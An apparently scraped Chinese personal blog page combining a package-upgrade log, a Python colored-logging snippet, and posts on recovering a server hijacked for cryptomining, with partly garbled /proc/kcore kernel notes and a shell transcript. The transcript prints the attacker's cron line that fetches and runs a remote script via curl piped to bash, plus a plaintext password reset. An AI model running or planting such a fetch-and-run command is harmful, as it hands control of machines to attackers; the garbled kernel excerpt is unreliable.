 lmdb-libs                            x86_64          0.9.24-1.el8                             baseos              58 k
 python3-nftables                     x86_64          1:0.9.3-24.el8                           baseos              29 k
 setup                                noarch          2.12.2-6.el8                             baseos             181 k
 shadow-utils                         x86_64          2:4.6-16.el8                             baseos             1.2 M
 tpm2-tss                             x86_64          2.3.2-4.el8                              baseos             275 k
Installing weak dependencies:
 glibc-gconv-extra                    x86_64          2.28-189.el8                             appstream          1.5 M
 crypto-policies-scripts              noarch          20211116-1.gitae470d6.el8                baseos              83 k
 elfutils-debuginfod-client           x86_64          0.186-1.el8                              baseos              71 k
 memstrack                            x86_64          0.1.11-1.el8                             baseos              48 k

Transaction Summary
========================================================================================================================
Install   18 Packages
Upgrade  291 Packages

Total download size: 463 M
Is this ok [y/N]: y
Downloading Packages:

Everything goes fine

如何在Python logging.Formatter 格式化

我目前正在尝试居中与👉Python记录器中的日志记录级别字段,输出如下:

[    test_log    ][    DEBUG]  test (color_logger.py:66)
[    test_log    ][     INFO]  test (color_logger.py:67)
[    test_log    ][  WARNING]  test (color_logger.py:68)
[    test_log    ][    ERROR]  test (color_logger.py:69)
[    test_log    ][ CRITICAL]  test (color_logger.py:70)

但看起来像:

[__main__][DEBUG]  test (color_logger.py:67)
[__main__][INFO]  test (color_logger.py:68)
[__main__][WARNING]  test (color_logger.py:69)
[__main__][ERROR]  test (color_logger.py:70)
[__main__][CRITICAL]  test (color_logger.py:71)

有两个问题,

  • funcName 而不是 name

  • 得考虑右对齐和居中

解决方法

import logging

BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)

#The background is set with 40 plus the number of the color, and the foreground with 30
#These are the sequences need to get colored ouput
RESET_SEQ = "\033[0m"
COLOR_SEQ = "\033[1;%dm"
BOLD_SEQ = "\033[1m"

def formatter_message(message, use_color = True):
    if use_color:
        message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ)
    else:
        message = message.replace("$RESET", "").replace("$BOLD", "")
    return message

COLORS = {
    'WARNING': YELLOW,
    'INFO': WHITE,
    'DEBUG': BLUE,
    'CRITICAL': YELLOW,
    'ERROR': RED
}

class ColoredFormatter(logging.Formatter):
    def __init__(self, msg, use_color = True):
        logging.Formatter.__init__(self, msg)
        self.use_color = use_color

    def format(self, record):
        levelname = record.levelname
        if self.use_color and levelname in COLORS:
            levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ
            record.levelname = levelname_color
        return logging.Formatter.format(self, record)



# Custom logger class with multiple destinations
class ColoredLogger(logging.Logger):
    FORMAT = "[$BOLD" + "%(funcName)s".center(20," ")+"$RESET]["+ "%(levelname)20s" +"]  %(message)s ($BOLD%(filename)s$RESET:%(lineno)d)"
    COLOR_FORMAT = formatter_message(FORMAT, True)
    def __init__(self, name):
        logging.Logger.__init__(self, name, logging.DEBUG)                

        color_formatter = ColoredFormatter(self.COLOR_FORMAT)

        console = logging.StreamHandler()
        console.setFormatter(color_formatter)

        self.addHandler(console)
        return

再记服务器被黑记

早上和女朋友交欢之后,在地铁里看到自己服务器挂了,一开始看是502以为是DDoS或者是腾讯云又关我服务。到了生导课现场才知道又是人肉挖矿。背后运行的是一个sha解密文件。不过是有壳的。

ssh密码被换了,但sshd没关,不知道攻击者的脚本是怎么想的。我上次加固redis和docker以后是不太会从那个方式攻入的。所以我判断是ssh的爆破。

看了历史占用 CPU100% 这次比上次多了个储存也被占满了,用 find / -type f -size +10G 以为是/proc/kcore 可hexdump 一下却发现是纸老虎。实际不占用空间,只是个内存 的映射物,linux提供了几个args的参数。如果复用的话可能会达到128T。

这次因为ssh密码换了,而且有个后台自动修改替换,走我的华为云的自动开机重置密码无济于事。这次立功的bt-panel。 我直接把我的私钥换掉root/.ssh/authorized_keys。

ssh上去之后,crontab -e删了,删完自动又有。不过发掘是 /root/.tmp00/bash 在作恶,ps -ef | grep .tmp00 | grep -v grep | awk '{print $2}' | xargs kill -9 (注意不能删bash,会奔溃,估计脚本制作着就是这么想的)

reference: http://www.dashen.tech/2019/05/11/%E4%B8%80%E7%A7%8D%E8%AF%A1%E5%BC%82%E7%9A%84Linux%E7%A3%81%E7%9B%98%E7%A9%BA%E9%97%B4%E8%A2%AB%E5%8D%A0%E6%BB%A1%E9%97%AE%E9%A2%98/

/proc/kcore文件提供了整个机器的内存映像,和vmcore不同的是,它提供了一个运行时的内存映像,为此和vmcore一样,内核提供了一个类似的但是稍显简单的kcore_list结构体,我们比较一下它们:
struct kcore_list {
struct kcore_list *next;
unsigned long addr;
size_t size;
};
struct vmcore {
struct list_head list;
unsigned long long paddr;
unsigned long long size;
loff_t offset;
};
可 以看到vmcore比较复杂,事实上也正是如此,因此它的操作比较复杂,而且使用环境也是很复杂的,涉及到kexec和kdump机制,也许就是这个原因 它使用了内核中最普遍的list_head结构,但是对于kcore,它的结构十分简单,目的就是为了遍历整个内存,也不需要查找,删除等操作,因此它用 了自己的next字段来组成链表,如此一来可以节省一个指针的空间。
在系统初始化的时候,mem_init函数中将整个物理内存和vmalloc的动态内存都加入了kcore_list中,这样的话,这个链表中就最起码有 了两个元素,一个是物理内存,另一个是vmalloc动态内存。注意这里所说的物理内存就是一一映射的内存,其实也可以不是,你完全可以自己实现一个映射 方法代替这里的一一映射,linux内核默认的什么highmem,vmalloc_start等等还有一一映射抑或高端映射等等机制都只是一个更底层的 机制一些策略,这个更底层的机制就是linux内核的内存映射,因此在这个机制提出的约束上你可以实现很多种策略,区分物理一一映射和高端映射只是其中之 一罢了:
void __init mem_init(void)
{

kclist_add(&kcore_mem, __va(0), max_low_pfn << PAGE_SHIFT); kclist_add(&kcore_vmalloc, (void *)VMALLOC_START, VMALLOC_END-VMALLOC_START); … } void kclist_add(struct kcore_list *new, void *addr, size_t size) { new->addr = (unsigned long)addr;
new->size = size;
write_lock(&kclist_lock);
new->next = kclist;
kclist = new;
write_unlock(&kclist_lock);
}
得到kcore文件的大小,其实这个文件并不是真的占据那么大的空间,而是内核提供的“抽象”实体的意义上的大小就是那么大,这里就是整个内存映像:
static size_t get_kcore_size(int *nphdr, size_t *elf_buflen)
{
size_t try, size;
struct kcore_list *m;
*nphdr = 1;
size = 0;
for (m=kclist; m; m=m->next) { //找到最大的地址值加上长度后就是最后的结果,依据就是linux内核空间的映射方式
try = kc_vaddr_to_offset((size_t)m->addr + m->size);
if (try > size)
size = try;
*nphdr = *nphdr + 1;
}
*elf_buflen = sizeof(struct elfhdr) +
…//elf_buflen是额外的一个头部的长度
*elf_buflen = PAGE_ALIGN(*elf_buflen);
return size + *elf_buflen; //总的长度就是实际内存大小长度加上额外的头部的长度
}
procfs 是一个文件系统,是文件系统的话就要有一个file_operations结构体来实现这个文件系统的操作,可是在procfs文件系统中,每一个文件可 以有不同的操作回调函数,也就是说,procfs首先是一个文件系统,在它是文件系统的意义的基础之上,它又是另一种机制,它提供了一个内核导出信息的口 子,就是说,procfs作为文件系统的意义仅仅在于信息的导出,它里面的文件从来都不是真实的文件,但是确实有文件的接口,比如你在ls -l命令发出给/proc/kcore文件时,它给出了文件的“大小”,实际上并不会占据那么大的空间而仅仅是一个数字,该数字是从上面的 get_kcore_size中得到的。在procfs文件系统中,每个文件都是一个proc_dir_entry,这才是它真正要表达的,套在标准文件 系统之上的那一层东西,该结构中的proc_fops就是该结构代表文件的file_operations结构体,如果这么理解的话,procfs文件系 统下的每一个文件都可以有自己的file_operations了而不必统一用整个procfs的一个file_operations,就像 ext2/ext3等传统的真实文件系统一样,从OO的角度来看,procfs继承了vfs文件系统,在文件系统的基础上实现了自己的特性(其实每一个具 体文件系统都有自己的特性,都继承并实现了vfs这个抽象类,不过本文就是说procfs的一个文件的,因此它显得比较特殊)。就好像前几篇文章中所描述 的seqfile一样,它就是专门为procfs提供一个串行化读取的接口函数机制而不是一个独立的机制,它可以被用在procfs的 file_operations中,当然也可以被用到别处。我们接下来看看read_kcore,它就是/proc/kcore这个proc文件的 proc_fops即file_operations的read回调函数:
static ssize_t read_kcore(struct file *file, char __user *buffer, size_t buflen, loff_t *fpos)
{
ssize_t acc = 0;
size_t size, tsz;
size_t elf_buflen;
int nphdr;
unsigned long start;
read_lock(&kclist_lock);
proc_root_kcore->size = size = get_kcore_size(&nphdr, ⪙f_buflen);
if (buflen == 0 || *fpos >= size) {
read_unlock(&kclist_lock);
return 0;
}
if (buflen > size - *fpos)
buflen = size - *fpos;
…//为读出的内容添加elf头部。
start = kc_offset_to_vaddr(*fpos - elf_buflen); //物理地址到虚拟地址的转换,其实对于一一映射就是加上一个PAGE_OFFSET偏移量,这也是默认情况,当然也可以提供别的转换方式。
if ((tsz = (PAGE_SIZE - (start & ~PAGE_MASK))) > buflen)
tsz = buflen;
while (buflen) {
struct kcore_list *m;
read_lock(&kclist_lock);
for (m=kclist; m; m=m->next) { //寻找这个地址所属的kcore_list
if (start >= m->addr && start < (m->addr+m->size))
break;
}
read_unlock(&kclist_lock);
…//没有找到的错误处理
} else if ((start >= VMALLOC_START) && (start < VMALLOC_END)) { //在这种情况下,说明用户要读取的是vmalloc空间的内存映像,那么很简单,就是遍历vmalloc空间的vm_struct结构体们,然后将之上 的数据取出来。 char * elf_buf; struct vm_struct *m; unsigned long curstart = start; unsigned long cursize = tsz; elf_buf = kmalloc(tsz, GFP_KERNEL); if (!elf_buf) return -ENOMEM; memset(elf_buf, 0, tsz); read_lock(&vmlist_lock); for (m=vmlist; m && cursize; m=m->next) {
unsigned long vmstart;
unsigned long vmsize;
unsigned long msize = m->size - PAGE_SIZE;
…//限制判断
vmstart = (curstart < (unsigned long)m->addr ?
(unsigned long)m->addr : curstart);
if (((unsigned long)m->addr + msize) > (curstart + cursize))
vmsize = curstart + cursize - vmstart;
else
vmsize = (unsigned long)m->addr + msize - vmstart;
…//更新数据
memcpy(elf_buf + (vmstart - start), (char *)vmstart, vmsize);
}
read_unlock(&vmlist_lock);
if (copy_to_user(buffer, elf_buf, tsz)) //向用户拷贝内存数据

kfree(elf_buf);
} else { //最后一种情况就是读取物理内存了,其实也不一定,要看体系结构了,在x86上而且内核编译flatmem的情形下,这就是读取物理内存。
if (kern_addr_valid(start)) {
unsigned long n;
n = copy_to_user(buffer, (char *)start, tsz);
…//错误处理
}
…//更新偏移以及指针数据
}
return acc;
}
read 函数完毕之后,整个内存就被读出来了,存到一个地方保存那么这就是当时的内存运行快照,这里不得不说的是,这个信息可以用于调试,但是对于module的 调试就不是那么简单了,虽然kcore文件可以dump出整个内存,但是对于调试来说,这些信息是不够的,我们通过这些信息只能得到它当前是什么,而不能 得到它应该是什么,要想得到它应该是什么就必须有了原始的副本,幸运的是,linux的物理内存一一映射使得这个问题简化,linux内核vmlinuz 或者用于调试的vmlinux本身就是一个elf文件,-g选项编译的内核还有很多调试信息,elf连接脚本上写了符号加载的位置,以及elf的code 节,data节等等elf的要素,一一映射使得内核连接脚本的编写很简单,而且使得该脚本连接得到的内核载入内核时很容易的映射到了很简单的虚拟内存位 置,就是一个地址加上偏移。但是简单也就到此为止了,试想一下可加载的内核模块(LKM),在sys_init_module系统调用实现函数里发现模块 都是被映射到了vmalloc动态内存空间,包括它的代码,数据等等,如此一来,module的elf文件中写的节的载入地址在linux内核映射策略面 前成了一堆废物,即使你用module的原始副本来调试从/proc/kcore导出的映像也会发现很多的调试信息对不上,因此如何调试模块也就成了一个 大问题,linux的内核开发者也在着手解决这个问题…

记一次服务器被黑

Windows PowerShell
版权所有 (C) Microsoft Corporation。保留所有权利。

尝试新的跨平台 PowerShell https://aka.ms/pscore6

PS C:\Users\yangy> ssh [email protected] -p9999
Password:
Password:
PS C:\Users\yangy> ssh [email protected] -p9999
Password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 * Kata Containers are now fully integrated in Charmed Kubernetes 1.16!
   Yes, charms take the Krazy out of K8s Kata Kluster Konstruction.

     https://ubuntu.com/kubernetes/docs/release-notes

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

7 packages can be updated.
6 updates are security updates.


*** System restart required ***

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


        Welcome to Huawei Cloud Service


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Oct 21 11:31:18 2019 from 59.78.171.116

        Welcome to Huawei Cloud Service

Could not chdir to home directory /home/yiweiyang: No such file or directory


$
$
$
$ ls
bin   data  etc   initrd.img      lib    lost+found  mnt  patch  root  sbin  srv  tmp  var      vmlinuz.old
boot  dev   home  initrd.img.old  lib64  media       opt  proc   run   snap  sys  usr  vmlinuz  www
$ docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2F                                                                                                                                                                                                                                                   var%2Frun%2Fdocker.sock/v1.40/containers/json: dial unix /var/run/docker.sock: connect: permission denied
$ su -
Password:
root@gaSRHj203877:~# ls
f2f_migrate_error.log     frp  OnlineJudgeDeploy  package.xml  SISTOJ.git  SMS-Agent.tar.gz
f2f_migrate_schedule.log  nps  package-lock.json  SISTOJ       SMS-Agent   X7QZNkji
root@gaSRHj203877:~# docker ps
CONTAINER ID        IMAGE                                                        COMMAND                  CREATED                                                                                                                                                                                                                                                                STATUS                PORTS                                            NAMES
62658fd3b3c8        registry.cn-hangzhou.aliyuncs.com/onlinejudge/oj_backend     "/bin/sh -c /app/dep…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days (healthy)   0.0.0.0:4981->1443/tcp, 0.0.0.0:4980->8000/tcp   oj-backend
650fa2b219a4        centos                                                       "/bin/bash"              2 months ago                                                                                                                                                                                                                                                           Up 8 days                                                              centos
6ba068b154be        registry.cn-hangzhou.aliyuncs.com/onlinejudge/judge_server   "/bin/sh -c /code/en…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days (healthy)   8080/tcp                                         judge-server
b090c523f1ab        postgres:10-alpine                                           "docker-entrypoint.s…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days             5432/tcp                                         oj-postgres
659d477410e3        redis:4.0-alpine                                             "docker-entrypoint.s…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days             6379/tcp                                         oj-redis
root@gaSRHj203877:~# docker exec -it oj-backend /bin/sh
/app #
/app #
/app # python3 manage.py inituser --username victoryang00 --password victor129 --action=reset
Django VERSION (2, 1, 7, 'final', 0)
User victoryang00 doesnot exist, operation ignored
/app # python3 manage.py inituser --username root --password victor129 --action=reset
Django VERSION (2, 1, 7, 'final', 0)
Password is rested
/app # root@gaSRHj203877:~# htop
root@gaSRHj203877:~# kill 21790
root@gaSRHj203877:~# htop
root@gaSRHj203877:~# htop
root@gaSRHj203877:~# crontab -l
0 * * * * curl -s -L http://ix.io/1K8E | bash -s
root@gaSRHj203877:~# crontab -e
crontab: installing new crontab
root@gaSRHj203877:~# more .bash_history
more: stat of .bash_history failed: No such file or directory
root@gaSRHj203877:~# ll
total 44852
drwx------ 19 root root     4096 Oct 27 15:00 ./
drwxr-xr-x 26 root root     4096 Oct 21 10:42 ../
drwx------  5 root root     4096 Sep 14 14:10 .acme.sh/
-rw-r--r--  1 root root     3137 Sep 14 14:10 .bashrc
drwx------  5 root root     4096 Sep 22 04:28 .cache/
drwxr-xr-x  3 root root     4096 Sep 14 14:29 .cmake/
drwx------  5 root root     4096 Sep 21 23:11 .config/
-rw-r--r--  1 root root      465 Sep 14 03:07 f2f_migrate_error.log
-rw-r--r--  1 root root      435 Sep 13 18:36 f2f_migrate_schedule.log
drwxrwxr-x  3 www  www      4096 Jul 17 04:41 frp/
drwx------  3 root root     4096 Aug  6 18:17 .gnupg/
drwxr-xr-x  3 root root     4096 Sep 21 23:11 .local/
-rw-------  1 root root      428 Sep 22 12:24 .mysql_history
drwxr-xr-x  2 root root     4096 Aug 20 02:19 .nano/
drwxr-xr-x  3 root root     4096 Aug 23 03:25 .node-gyp/
-rw-------  1 root root        0 Sep 22 09:18 .node_repl_history
drwxr-xr-x  5 root root     4096 Aug  6 21:27 .npm/
drwxr-xr-x  4 root root     4096 Aug 13 07:02 nps/
drwxr-xr-x  6 root root     4096 Sep 14 13:43 OnlineJudgeDeploy/
-rw-r--r--  1 root root       27 Aug  6 21:42 package-lock.json
-rw-r--r--  1 www  uucp    35323 Jul 29 23:14 package.xml
-rw-r--r--  1 root root      195 Sep 14 15:32 .pearrc
drwxr-xr-x  2 root root     4096 Sep 14 14:08 .pip/
-rw-r--r--  1 root root      174 Sep 13  2017 .profile
-rw-rw-rw-  1 root root        6 Oct 27 15:00 .pysocks.pid
-rw-------  1 root root       74 Oct 10 13:59 .python_history
-rw-r--r--  1 root root       66 Oct 21 10:11 .selected_editor
drwxr-xr-x 10 root root     4096 Aug 23 04:17 SISTOJ/
-rw-r--r--  1 root root    90584 Aug 23 02:14 SISTOJ.git
drwxr-xr-x  8 root root     4096 Sep 13 18:05 SMS-Agent/
-rw-r--r--  1 root root 45638842 Sep 11 09:28 SMS-Agent.tar.gz
drwx------  2 root root     4096 Oct 21 10:31 .ssh/
-rw-r--r--  1 root root        0 Oct 13 06:28 .sudo_as_admin_successful
-rw-------  1 root root    10100 Oct 21 10:44 .viminfo
drwxr-xr-x  5 root root     4096 Sep 21 21:12 .vscode-server/
-rw-r--r--  1 root root      317 Oct 27 09:00 .wget-hsts
-rwxrwxrwx  1 root root    16940 Oct 27 15:00 X7QZNkji*
root@gaSRHj203877:~# ls |grep bash
root@gaSRHj203877:~# cat .
./                         .gnupg/                    .pearrc                    .sudo_as_admin_successful
../                        .local/                    .pip/                      .viminfo
.acme.sh/                  .mysql_history             .profile                   .vscode-server/
.bashrc                    .nano/                     .pysocks.pid               .wget-hsts
.cache/                    .node-gyp/                 .python_history
.cmake/                    .node_repl_history         .selected_editor
.config/                   .npm/                      .ssh/
root@gaSRHj203877:~# cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
[ -z "$PS1" ] && return

# don't put duplicate lines in the history. See bash(1) for more options
# ... or force ignoredups and ignorespace
HISTCONTROL=ignoredups:ignorespace

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "$debian_chroot" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
        # We have color support; assume it's compliant with Ecma-48
        # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
        # a case would tend to support setf rather than setaf.)
        color_prompt=yes
    else
        color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
#if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
#    . /etc/bash_completion
#fi
. "/root/.acme.sh/acme.sh.env"
root@gaSRHj203877:~# cd /etc/init
init/            init.d/          initramfs-tools/
root@gaSRHj203877:~# cd /etc/init.d/
root@gaSRHj203877:/etc/init.d# ls
acpid                   cryptdisks         mountall-bootclean.sh  ondemand       redis           ufw
apparmor                cryptdisks-early   mountall.sh            open-iscsi     resolvconf      umountfs
arp-bind                dbus               mountdevsubfs.sh       open-vm-tools  rsync           umountnfs.sh
atd                     docker             mountkernfs.sh         php-fpm-72     rsyslog         umountroot
bootmisc.sh             grub-common        mountnfs-bootclean.sh  plymouth       screen-cleanup  unattended-upgrades                                                                                                                                                                                                                                                       bt                      halt               mountnfs.sh            plymouth-log   sendmail        urandom
checkfs.sh              hostname.sh        mysql                  procps         sendsigs        uuidd
checkroot-bootclean.sh  hwclock.sh         mysqld                 pure-ftpd      single          x11-common
checkroot.sh            irqbalance         networking             rc             skeleton
cloudGuardd             iscsid             nginx                  rc.local       ssh
cloudSafed              keyboard-setup.sh  nscd                   rcS            sysstat
console-setup.sh        killprocs          ntp                    README         thermald
cron                    kmod               ntp.dpkg-old           reboot         udev
root@gaSRHj203877:/etc/init.d# cat d
dbus    docker
root@gaSRHj203877:/etc/init.d# cat d
dbus    docker
root@gaSRHj203877:/etc/init.d# locat

Command 'locat' not found, did you mean:

  command 'socat' from deb socat
  command 'ocat' from deb onioncat
  command 'locate' from deb mlocate
  command 'locate' from deb locate
  command 'lzcat' from deb lzma
  command 'lolcat' from deb lolcat

Try: apt install <deb name>

root@gaSRHj203877:/etc/init.d# locate
locate: no pattern to search for specified
root@gaSRHj203877:/etc/init.d# locate Db
/usr/share/perl5/Debconf/Db.pm
/usr/share/perl5/Debconf/DbDriver
/usr/share/perl5/Debconf/DbDriver.pm
/usr/share/perl5/Debconf/DbDriver/Backup.pm
/usr/share/perl5/Debconf/DbDriver/Cache.pm
/usr/share/perl5/Debconf/DbDriver/Copy.pm
/usr/share/perl5/Debconf/DbDriver/Debug.pm
/usr/share/perl5/Debconf/DbDriver/DirTree.pm
/usr/share/perl5/Debconf/DbDriver/Directory.pm
/usr/share/perl5/Debconf/DbDriver/File.pm
/usr/share/perl5/Debconf/DbDriver/LDAP.pm
/usr/share/perl5/Debconf/DbDriver/PackageDir.pm
/usr/share/perl5/Debconf/DbDriver/Pipe.pm
/usr/share/perl5/Debconf/DbDriver/Stack.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   b.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Backup.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Cache.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Copy.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Debug.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/DirTree.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Directory.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/File.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/LDAP.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/PackageDir.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Pipe.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Stack.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /Db.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Backup.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Cache.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Copy.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Debug.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/DirTree.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Directory.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/File.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/LDAP.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/PackageDir.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Pipe.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Stack.pm
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/libraries/DbList.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/libraries/DbQbe.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/libraries/DbSearch.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100000.php
